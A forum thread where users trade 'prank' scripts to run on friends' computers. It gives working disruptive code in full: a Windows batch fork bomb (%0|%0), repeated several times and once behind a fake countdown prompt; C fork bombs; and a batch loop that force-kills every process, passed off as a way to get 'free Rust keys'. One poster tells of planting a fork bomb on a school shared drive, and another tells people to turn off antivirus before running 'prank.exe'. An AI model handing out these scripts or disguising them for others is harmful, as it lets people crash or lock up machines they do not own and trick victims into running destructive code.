Scripting Pranks

[VegetaPlay]

Hey guys, I love to script prank
Do you guys have anyone
(EXAMPLE, THE GUY WILL DOWNLOAD A FAKE VIRUS, OR STUFF)
Send me if you do so I can test it with my friends

[AnonTakesOver]

I hear there are some at the NSFW site [URL="lemonparty.org"]lemonparty.org[/URL]

[highlight](User was permabanned for this post ("Shock site" - Craptasket))[/highlight]

[Sweet Berries]

yes I have a prank for you, I sent in pm.
Please download and run the prank.exe
turn off your antivirus for maximum funny

[Anven11]

1. create [B]file.bat[/B]
2. write

%0|%0

3. run it

It will fuck you up if you don't close it in like 3 seconds.

[dexon]

Not scripting but interesting: disable the processors L2 cache in bios.

[Exho]

Rest in Peace AnonTakesOver, posted a link to lemonparty and was permabanned in this thread

[zerf]

[QUOTE=Anven11;47774178]1. create [B]file.bat[/B]
2. write

%0|%0

3. run it

It will fuck you up if you don't close it in like 3 seconds.[/QUOTE]

taskkill is god

[Whiterabbit]

[QUOTE=Anven11;47774178]1. create [B]file.bat[/B]
2. write

%0|%0

3. run it

It will fuck you up if you don't close it in like 3 seconds.[/QUOTE]

@echo off
echo 
%0|%0

I'm not sure if this will survive copy-paste but that is 'echo the BELL character'. I call this hellbell.bat

EDIT: Nope, didn't survive pasting.

[VegetaPlay]

I think taht

@echo off
color 2
echo You have 3 seconds
Pause
%0|%0

Its way funnier

[FrostAndEggs]

[QUOTE=Anven11;47774178]1. create [B]file.bat[/B]
2. write

%0|%0

3. run it

It will fuck you up if you don't close it in like 3 seconds.[/QUOTE]

RIP Processor

[proboardslol]

I made a forkbomb in C once that went something like

#include <stdio.h>

int main(int argc, char** argv){
    while(1){
        system(argv[0]);
    }
}

or something like that. I compiled it and replaced a program on my middle school's shared drive that kids used to get around the firewall (I think it was ultrasurf)

[Yushe]

Making cmd launch loads of times with a .bat file.

[DrTaxi]

[QUOTE=Yushe;47851303]Making cmd launch loads of times with a .bat file.[/QUOTE]

remember when popup blockers didn't exist and websites could just open a million popups to make your system lock up

[ubermensch]

One day I want to deploy a logon script at work which opens and closes everyone's CD trays repeatedly.

Maybe on my last day...

[Fourier]

[QUOTE=UberMensch;47864722]One day I want to deploy a logon script at work which opens and closes everyone's CD trays repeatedly.

Maybe on my last day...[/QUOTE]

There is no last day. Forever.

[sp]foeevaah[/sp]

[proboardslol]

[QUOTE=Rocket;47826516]Why not an actual fork bomb?

#include <unistd.h>

int main()
{
    while(true)
    {
        fork();
    }
}

[/QUOTE]

Cause I didn't know how to do that in 7th grade

[Exploderguy]

@echo off
:loop
taskkill /f /fi "PID ge 1000" /im *
goto loop

run in batch for free rust keys

[Zyx]

[QUOTE=Rocket;47885335][url=https://dl.dropboxusercontent.com/u/23280705/code/rust/index.html]Free Rust keys, you say?[/url] (nsfw)[/QUOTE]

I was thinking "What's so bad about this, I mean it's got some music and other thi- Oh god..."

[baldursgate3]

[QUOTE=Anven11;47774178]1. create [B]file.bat[/B]
2. write

%0|%0

3. run it

It will fuck you up if you don't close it in like 3 seconds.[/QUOTE]

I was dumb enough to try that - thanks for destroying my computer

[Exho]

[QUOTE=baldursgate3;47917613]I was dumb enough to try that - thanks for destroying my computer[/QUOTE]

He warned you, thats on you